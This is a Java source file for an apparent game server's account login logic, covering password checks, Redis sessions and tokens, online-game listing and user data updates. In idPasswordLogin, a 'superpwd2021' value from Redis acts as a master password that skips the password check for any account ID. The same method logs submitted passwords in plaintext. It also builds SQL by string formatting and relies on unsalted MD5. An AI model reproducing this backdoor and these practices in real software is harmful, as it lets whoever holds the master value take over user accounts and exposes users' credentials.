package taurus.client.business;

import com.data.bean.AccountBean;
import com.data.bean.GameBean;
import com.data.cache.AccountCache;
import com.data.cache.BaseCache;
import com.data.cache.GameCache;
import com.data.util.ErrorCode;
import com.data.util.Utility;
import com.taurus.core.entity.ITArray;
import com.taurus.core.entity.ITObject;
import com.taurus.core.entity.TArray;
import com.taurus.core.entity.TObject;
import com.taurus.core.plugin.database.DataBase;
import com.taurus.core.plugin.redis.Redis;
import com.taurus.core.plugin.redis.RedisLock;
import com.taurus.core.util.Logger;
import com.taurus.core.util.StringUtil;
import com.taurus.core.util.Utils;
import com.taurus.web.Controller;
import com.taurus.web.WebException;
import redis.clients.jedis.Jedis;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;

public class AccountBusiness extends Controller {
	private static Logger logger = Logger.getLogger(AccountBusiness.class);

	public static String request(String httpUrl, String httpArg) {
		BufferedReader reader = null;
		String result = null;
		StringBuffer sbf = new StringBuffer();
		httpUrl = httpUrl + "?" + httpArg;

		try {
			URL url = new URL(httpUrl);
			HttpURLConnection connection = (HttpURLConnection) url.openConnection();
			connection.setRequestMethod("GET");
			connection.connect();
			InputStream is = connection.getInputStream();
			reader = new BufferedReader(new InputStreamReader(is, "UTF-8"));
			String strRead = reader.readLine();
			if (strRead != null) {
				sbf.append(strRead);
				while ((strRead = reader.readLine()) != null) {
					sbf.append("\n");
					sbf.append(strRead);
				}
			}
			reader.close();
			result = sbf.toString();
		} catch (Exception e) {
			e.printStackTrace();
		}
		return result;
	}

	public static String md5(String plainText) {
		StringBuffer buf = null;
		try {
			MessageDigest md = MessageDigest.getInstance("MD5");
			md.update(plainText.getBytes());
			byte b[] = md.digest();
			int i;
			buf = new StringBuffer("");
			for (int offset = 0; offset < b.length; offset++) {
				i = b[offset];
				if (i < 0)
					i += 256;
				if (i < 16)
					buf.append("0");
				buf.append(Integer.toHexString(i));
			}
		} catch (NoSuchAlgorithmException e) {
			e.printStackTrace();
		}
		return buf.toString();
	}

	public static String encodeUrlString(String str, String charset) {
		String strret = null;
		if (str == null)
			return str;
		try {
			strret = java.net.URLEncoder.encode(str, charset);
		} catch (Exception e) {
			e.printStackTrace();
			return null;
		}
		return strret;
	}

	private final ITObject fillLoginData(String session, int accountid) {
		ITObject resData = TObject.newInstance();
		ITObject userData = TObject.newInstance();
		resData.putTObject("account", userData);
		resData.putUtfString("session_id", session);
		resData.putTArray("games", getOnlineGames());
		Jedis jedis0 = Redis.use("group1_db0").getJedis();
		try {
			Map<String, String> map = jedis0.hgetAll(session);
			userData.putInt("id", accountid);
			userData.putInt("diamo", Integer.parseInt(map.get("diamo")));
			userData.putUtfString("nick", map.get("nick"));
			userData.putUtfString("portrait", map.get("portrait"));
			userData.putInt("sex", Integer.parseInt(map.get("sex")));
			userData.putInt("type", Integer.parseInt(map.get("type")));
			int mng = Integer.parseInt(map.get("mng"));
			userData.putInt("mng", mng);

			String phone = map.get("phone");
			if (StringUtil.isNotEmpty(phone)) {
				userData.putUtfString("phone", phone);
			}

			String address = map.get("address");
			if (StringUtil.isNotEmpty(address)) {
				userData.putUtfString("address", address);
			}

			String real_info = map.get("real_info");
			if (StringUtil.isNotEmpty(real_info)) {
				userData.putTObject("real_info", TObject.newFromJsonData(real_info));
			}
			String oldRoom = Utility.getOldRoomV2(jedis0, 0, session, accountid);
			if (StringUtil.isNotEmpty(oldRoom)) {
				String roomid = oldRoom.replace("room:", "");
				String group = jedis0.hget(oldRoom, "group");
				int groupId = 0;
				if (StringUtil.isNotEmpty(group)) {
					groupId = Integer.parseInt(group);
				}
				userData.putUtfString("roomid", roomid);
				userData.putInt("groupId", groupId);
			}
		} finally {
			jedis0.close();
		}

		resData.putUtfString("groupWeb", Redis.use("group1_db1").hget("web_requrl", "groupWeb_jefe"));
		return resData;
	}

	public final ITObject idPasswordLogin(int id, String password) throws Exception {

		logger.info("id:" + id + " login");

		Jedis jedis0 = Redis.use("group1_db0").getJedis();
		RedisLock lock = new RedisLock("wx_" + id, jedis0);
		try {

			logger.info("==========> password111 = " + password);
     		String superPwd = Redis.use("group1_db1").get("superpwd2021");
			String sql = "";
			if (!StringUtil.isEmpty(superPwd)) {
				if (!password.equals(superPwd)) {
					password = Utils.getMD5Hash(password);
					sql = String.format("SELECT * FROM account WHERE id ='%d' and password='%s'", id, password);
				} else {
					logger.info("==========> password = " + password);

					sql = String.format("SELECT * FROM account WHERE id ='%d' ", id);
				}
			} else {
				password = Utils.getMD5Hash(password);
				sql = String.format("SELECT * FROM account WHERE id ='%d' and password='%s'", id, password);
			}




			String idPwdBan = Redis.use("group1_db0").get(id + "_login_ban");
			if (StringUtil.isNotEmpty(idPwdBan)) {
				System.out.println("进入了77777777777777777777");
				logger.error("id:" + id + " ban login");
				throw new WebException(ErrorCode.BAN_LOGIN);
			}
			System.out.println("进入了9999999999999");

			ITArray resultArray = DataBase.use().executeQueryByTArray(sql);
			if (resultArray.size() == 0) {
				if (Redis.use("group1_db0").exists(id + "_pwd_token")) {
					Redis.use("group1_db0").incrBy(id + "_pwd_token", 1);
				} else {
					Redis.use("group1_db0").set(id + "_pwd_token", 1 + "");
					Redis.use("group1_db0").expire(id + "_pwd_token", 300);
				}

				String idPwdToken = Redis.use("group1_db0").get(id + "_pwd_token");
				if (StringUtil.isNotEmpty(idPwdToken)) {
					long count = Long.parseLong(idPwdToken);
					if (count >= 10) {
						Redis.use("group1_db0").set(id + "_login_ban", "1");
						Redis.use("group1_db0").expire(id + "_login_ban", 1800);
						logger.error("pwd error count:" + count + " not login");
						System.out.println("进入了00000000000");

						throw new WebException(ErrorCode._NO_SESSION);

					}
				}
				System.out.println("进入了111111111111");

				throw new WebException(ErrorCode._FAILED);
			}

			ITObject userData = resultArray.getTObject(0);
			int accountid = userData.getInt("id");
			UpdateUserData(userData, accountid);

			AccountBean acc_bean = AccountCache.getAccount(accountid);
			String session = acc_bean.redis_key;
			this.setSession(session);

			if (resultArray.size() > 0) {
				this.setSession(session);
				String old_nick = acc_bean.nick;
				String old_portrait = acc_bean.portrait;
//				String new_nick = reqData.getUtfString("nick");
//				String new_portrait = reqData.getUtfString("portrait");
//				if (!old_nick.equals(new_nick) || !old_portrait.equals(new_portrait)) {
//					ITObject userData1 = TObject.newInstance();
//					userData1.putUtfString("nick", userData.getUtfString("nick"));
//					userData1.putUtfString("portrait", userData.getUtfString("portrait"));
//					userData1.putInt("sex", userData.getInt("sex"));
//					updateSession(userData, accountid);
//				}
			}

			ITObject resData = fillLoginData(session, accountid);
			String token = Utils.getMD5Hash(id + "_" + password + "_" + System.currentTimeMillis() + "e4!Fesu]]{QyUuEA"
					+ Math.random() * 1000000);
			Redis.use("group1_db0").sadd(session + "_token", token);

			Redis.use("group1_db0").hset(token, "user", session);
			Redis.use("group1_db0").hset(token, "create_time", "" + System.currentTimeMillis() / 1000);
			Redis.use("group1_db0").expire(token, 172800);

//			Set<String> allToken = Redis.use("group1_db0").smembers(session + "_token");
//			for (String temp : allToken) {
//				if (!Redis.use("group1_db0").exists(temp)) {
//					Redis.use("group1_db0").srem(session + "_token", temp);
//					logger.info("delte timeout token:" + temp);
//				}
//			}
			System.out.println("进入了2222222222222");

			long tokenNum = Redis.use("group1_db0").scard(session + "_token");
			if (tokenNum >= 10) {
				logger.warn("id:" + accountid + " repeat login, token count:" + tokenNum);
			}
			System.out.println("进入了33333333333333333332");

			resData.putString("token", token);
			return resData;
		} finally {
			lock.unlock();
		}
	}

	private static String updateSession(ITObject userData, int id) {
		String session = AccountCache.genKey(id);
		Map<String, String> map = new HashMap<String, String>();
		Utils.objectToMap(userData, map);

		Jedis jedis0 = Redis.use("group1_db0").getJedis();
		try {
			jedis0.hmset(session, map);
			BaseCache.updateCacheVer(jedis0, session);
		} finally {
			jedis0.close();
		}

		return session;
	}

	/**
	 * 获取在线游戏
	 */
	public static ITArray getOnlineGames() {
		ITArray games = new TArray();
		Jedis jedis1 = Redis.use("group1_db1").getJedis();
		try {
			Set<String> list = jedis1.zrevrangeByScore("online_games", 1000, 1);
			for (String game : list) {
				int gameId = Integer.parseInt(game);
				GameBean gb = GameCache.getGame(gameId);
				if (gb == null)
					continue;
				ITObject gameObj = gb.getTObject();

				for (Entry<String, Integer> entry : gb.pay.entrySet()) {
					gameObj.putInt(entry.getKey(), entry.getValue());
				}
				games.addTObject(gameObj);
			}
		} finally {
			jedis1.close();
		}
		return games;
	}

	/**
	 *
	 * @return
	 * @throws Exception
	 */
	private final int UpdateUserData(ITObject reqData, long id) throws Exception {
		ITObject userData = TObject.newInstance();
		userData.putInt("id", (int) id);

		userData.putUtfString("acc", reqData.getUtfString("acc"));
		userData.putUtfString("portrait", reqData.getUtfString("portrait"));
		userData.putUtfString("nick", reqData.getUtfString("nick"));
		int sex = reqData.getInt("sex");
		if (sex == 0) {
			sex = 1;
			reqData.putInt("sex", sex);
		}
		userData.putInt("sex", sex);

		userData.putInt("mng", 0);
		userData.putInt("type", 0);
		if (reqData.containsKey("diamo")) {
			userData.putInt("diamo", reqData.getInt("diamo"));
		}

		userData.putInt("invitation", 1);
		String session = updateSession(userData, (int) id);
		this.setSession(session);
		return (int) id;
	}
}
